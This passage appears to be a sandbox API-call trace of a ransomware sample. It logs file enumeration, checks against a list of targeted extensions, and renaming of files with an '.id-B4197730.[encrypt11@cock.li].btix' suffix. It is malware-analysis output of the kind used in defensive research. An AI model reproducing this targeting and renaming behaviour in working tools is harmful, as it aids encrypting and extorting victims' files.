0xe7df [0133.821] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0134.024] GetTickCount () returned 0xe8aa [0134.024] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0134.206] GetTickCount () returned 0xe966 [0134.206] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0134.737] GetTickCount () returned 0xeb79 [0134.737] GetTickCount () returned 0xeb79 [0134.737] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0135.039] GetTickCount () returned 0xeca2 [0135.039] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0135.332] GetTickCount () returned 0xedcb [0135.332] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0135.690] GetTickCount () returned 0xef32 [0135.690] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0135.842] GetTickCount () returned 0xefce [0135.842] GetTickCount () returned 0xefce [0135.842] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0136.032] GetTickCount () returned 0xf08a [0136.032] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0136.434] GetTickCount () returned 0xf220 [0136.434] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0136.691] GetTickCount () returned 0xf31a [0136.691] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0137.015] GetTickCount () returned 0xf462 [0137.015] GetTickCount () returned 0xf462 [0137.015] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0137.334] GetTickCount () returned 0xf5aa [0137.334] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0137.585] GetTickCount () returned 0xf6a4 [0137.585] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0137.729] GetTickCount () returned 0xf731 [0137.729] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0138.143] GetTickCount () returned 0xf8c7 [0138.143] GetTickCount () returned 0xf8c7 [0138.143] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0138.871] GetTickCount () returned 0xfba5 [0138.871] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0139.261] GetTickCount () returned 0xfd2c [0139.261] GetTickCount () returned 0xfd2c [0139.261] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0139.584] GetTickCount () returned 0xfe74 [0139.584] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0139.868] GetTickCount () returned 0xff8d [0139.868] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0140.173] GetTickCount () returned 0x100c6 [0140.173] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0140.593] GetTickCount () returned 0x1025c [0140.593] GetTickCount () returned 0x1025c [0140.593] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0141.031] GetTickCount () returned 0x10412 [0141.031] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0141.194] GetTickCount () returned 0x104be [0141.194] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0141.389] GetTickCount () returned 0x10579 [0141.389] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0141.510] GetTickCount () returned 0x105f6 [0141.510] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0141.688] GetTickCount () returned 0x106b2 [0141.688] GetTickCount () returned 0x106b2 [0141.688] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0142.138] GetTickCount () returned 0x10867 [0142.138] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0142.379] GetTickCount () returned 0x10961 [0142.379] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0142.577] GetTickCount () returned 0x10a1d [0142.577] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0143.206] GetTickCount () returned 0x10c9d [0143.206] GetTickCount () returned 0x10c9d [0143.206] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0143.391] GetTickCount () returned 0x10d59 [0143.391] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0143.511] GetTickCount () returned 0x10dc6 [0143.511] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0143.650] GetTickCount () returned 0x10e53 [0143.650] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0143.766] GetTickCount () returned 0x10ec0 [0143.766] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0144.148] GetTickCount () returned 0x11047 [0144.148] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0144.465] GetTickCount () returned 0x1117f [0144.465] GetTickCount () returned 0x1117f [0144.465] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0144.618] GetTickCount () returned 0x1121b [0144.618] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0144.824] GetTickCount () returned 0x112e7 [0144.824] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0144.994] GetTickCount () returned 0x11392 [0144.994] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0145.143] GetTickCount () returned 0x1141f [0145.143] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0145.459] GetTickCount () returned 0x11567 [0145.459] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0145.676] GetTickCount () returned 0x11642 [0145.676] GetTickCount () returned 0x11642 [0145.676] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x0 [0145.869] WaitForMultipleObjects (nCount=0x4, lpHandles=0x2d8ff5c*=0x2e4, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0146.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x51a8020 | out: hHeap=0x510000) returned 1 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd710 | out: hHeap=0x510000) returned 1 [0146.072] lstrlenW (lpString=".btix") returned 5 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574b30 | out: hHeap=0x510000) returned 1 [0146.072] lstrlenW (lpString=".[encrypt11@cock.li]") returned 20 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56ef80 | out: hHeap=0x510000) returned 1 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd690 | out: hHeap=0x510000) returned 1 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x573980 | out: hHeap=0x510000) returned 1 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x573998 | out: hHeap=0x510000) returned 1 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x573770 | out: hHeap=0x510000) returned 1 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5739e0 | out: hHeap=0x510000) returned 1 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5739b0 | out: hHeap=0x510000) returned 1 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x573a10 | out: hHeap=0x510000) returned 1 [0146.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd6a0 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5737a0 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x573740 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574ad0 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd800 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd810 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574c20 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd6f0 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574a58 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd7c0 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574998 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e998 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e970 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52a240 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c6d8 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x59b410 | out: hHeap=0x510000) returned 1 [0146.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5ad138 | out: hHeap=0x510000) returned 1 [0146.073] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4718 [0146.073] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4718, Size=0x20) returned 0x443de00 [0146.073] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4778 [0146.073] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4778, Size=0x20) returned 0x443de50 [0146.074] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.074] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.074] Wow64DisableWow64FsRedirection (in: OldValue=0x2d8ff7c | out: OldValue=0x2d8ff7c*=0x1) returned 1 [0146.074] lstrlenW (lpString="kernel32.dll") returned 12 [0146.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de50 | out: hHeap=0x510000) returned 1 [0146.074] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 Thread: id = 41 os_tid = 0xe18 [0126.334] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5bda58 [0126.334] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5cda60 [0126.334] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574dd0 [0126.334] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5bd6e0 [0126.335] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574c50 [0126.335] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3b58020 [0126.337] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574db8 [0126.337] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574db8, Size=0x20) returned 0x54e920 [0126.337] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e30 [0126.337] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574e30, Size=0x20) returned 0x54ea88 [0126.337] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.337] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.337] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff50 | out: OldValue=0x2ecff50*=0x0) returned 1 [0126.337] lstrlenW (lpString="kernel32.dll") returned 12 [0126.337] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.337] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.337] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ea88 | out: hHeap=0x510000) returned 1 [0126.337] Sleep (dwMilliseconds=0x64) [0126.699] lstrcmpiW (lpString1=".ini", lpString2=".btix") returned 1 [0126.699] lstrlenW (lpString="desktop.ini") returned 11 [0126.699] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0126.699] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=129) returned 1 [0126.699] CloseHandle (hObject=0x328) returned 1 [0126.700] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0126.700] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[encrypt11@cock.li].btix")) returned 0x26 [0126.701] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.701] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.701] lstrlenW (lpString=".doc") returned 4 [0126.701] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0126.701] lstrlenW (lpString=".docx") returned 5 [0126.702] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0126.702] lstrlenW (lpString=".pdf") returned 4 [0126.702] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0126.702] lstrlenW (lpString=".xls") returned 4 [0126.702] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0126.702] lstrlenW (lpString=".xlsx") returned 5 [0126.702] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0126.702] lstrlenW (lpString=".ppt") returned 4 [0126.702] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0126.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.702] lstrlenW (lpString=".zip") returned 4 [0126.702] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0126.702] lstrlenW (lpString=".rar") returned 4 [0126.702] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0126.702] lstrlenW (lpString=".bz2") returned 4 [0126.702] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0126.702] lstrlenW (lpString=".7z") returned 3 [0126.702] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0126.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.702] lstrlenW (lpString=".dbf") returned 4 [0126.702] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0126.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.702] lstrlenW (lpString=".1cd") returned 4 [0126.702] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0126.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.702] lstrlenW (lpString=".jpg") returned 4 [0126.702] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0126.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.702] lstrlenW (lpString=".doc") returned 4 [0126.702] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0126.702] lstrlenW (lpString=".docx") returned 5 [0126.702] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0126.702] lstrlenW (lpString=".pdf") returned 4 [0126.702] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0126.702] lstrlenW (lpString=".xls") returned 4 [0126.703] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0126.703] lstrlenW (lpString=".xlsx") returned 5 [0126.703] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0126.703] lstrlenW (lpString=".ppt") returned 4 [0126.703] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0126.703] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.703] lstrlenW (lpString=".zip") returned 4 [0126.703] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0126.703] lstrlenW (lpString=".rar") returned 4 [0126.703] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0126.703] lstrlenW (lpString=".bz2") returned 4 [0126.703] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0126.703] lstrlenW (lpString=".7z") returned 3 [0126.703] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0126.703] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.703] lstrlenW (lpString=".dbf") returned 4 [0126.703] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0126.703] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.703] lstrlenW (lpString=".1cd") returned 4 [0126.703] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0126.703] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0126.703] lstrlenW (lpString=".jpg") returned 4 [0126.703] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0126.703] Sleep (dwMilliseconds=0x64) [0127.122] Sleep (dwMilliseconds=0x64) [0127.393] Sleep (dwMilliseconds=0x64) [0127.905] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0127.905] lstrlenW (lpString="boxed-delete.avi") returned 16 [0127.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0127.905] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=48936) returned 1 [0127.905] CloseHandle (hObject=0x390) returned 1 [0127.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0127.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.246] lstrlenW (lpString=".doc") returned 4 [0128.246] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.246] lstrlenW (lpString=".docx") returned 5 [0128.246] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0128.246] lstrlenW (lpString=".pdf") returned 4 [0128.246] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.246] lstrlenW (lpString=".xls") returned 4 [0128.246] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.246] lstrlenW (lpString=".xlsx") returned 5 [0128.246] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0128.246] lstrlenW (lpString=".ppt") returned 4 [0128.246] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.247] lstrlenW (lpString=".zip") returned 4 [0128.247] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.247] lstrlenW (lpString=".rar") returned 4 [0128.247] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.247] lstrlenW (lpString=".bz2") returned 4 [0128.247] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.247] lstrlenW (lpString=".7z") returned 3 [0128.247] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.247] lstrlenW (lpString=".dbf") returned 4 [0128.247] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.247] lstrlenW (lpString=".1cd") returned 4 [0128.247] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.247] lstrlenW (lpString=".jpg") returned 4 [0128.247] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.247] lstrlenW (lpString=".doc") returned 4 [0128.247] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.247] lstrlenW (lpString=".docx") returned 5 [0128.248] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0128.248] lstrlenW (lpString=".pdf") returned 4 [0128.248] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.248] lstrlenW (lpString=".xls") returned 4 [0128.248] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.248] lstrlenW (lpString=".xlsx") returned 5 [0128.248] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0128.248] lstrlenW (lpString=".ppt") returned 4 [0128.248] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.248] lstrlenW (lpString=".zip") returned 4 [0128.248] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.248] lstrlenW (lpString=".rar") returned 4 [0128.248] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.248] lstrlenW (lpString=".bz2") returned 4 [0128.248] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.248] lstrlenW (lpString=".7z") returned 3 [0128.248] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.248] lstrlenW (lpString=".dbf") returned 4 [0128.248] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.248] lstrlenW (lpString=".1cd") returned 4 [0128.248] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0128.248] lstrlenW (lpString=".jpg") returned 4 [0128.248] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.248] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0128.248] lstrlenW (lpString="boxed-join.avi") returned 14 [0128.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0128.249] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=46622) returned 1 [0128.249] CloseHandle (hObject=0x394) returned 1 [0128.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0128.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.250] lstrlenW (lpString=".doc") returned 4 [0128.250] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.250] lstrlenW (lpString=".docx") returned 5 [0128.250] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0128.250] lstrlenW (lpString=".pdf") returned 4 [0128.250] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.250] lstrlenW (lpString=".xls") returned 4 [0128.250] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.250] lstrlenW (lpString=".xlsx") returned 5 [0128.250] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0128.250] lstrlenW (lpString=".ppt") returned 4 [0128.250] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.250] lstrlenW (lpString=".zip") returned 4 [0128.250] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.250] lstrlenW (lpString=".rar") returned 4 [0128.250] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.250] lstrlenW (lpString=".bz2") returned 4 [0128.250] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.250] lstrlenW (lpString=".7z") returned 3 [0128.250] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0128.251] lstrlenW 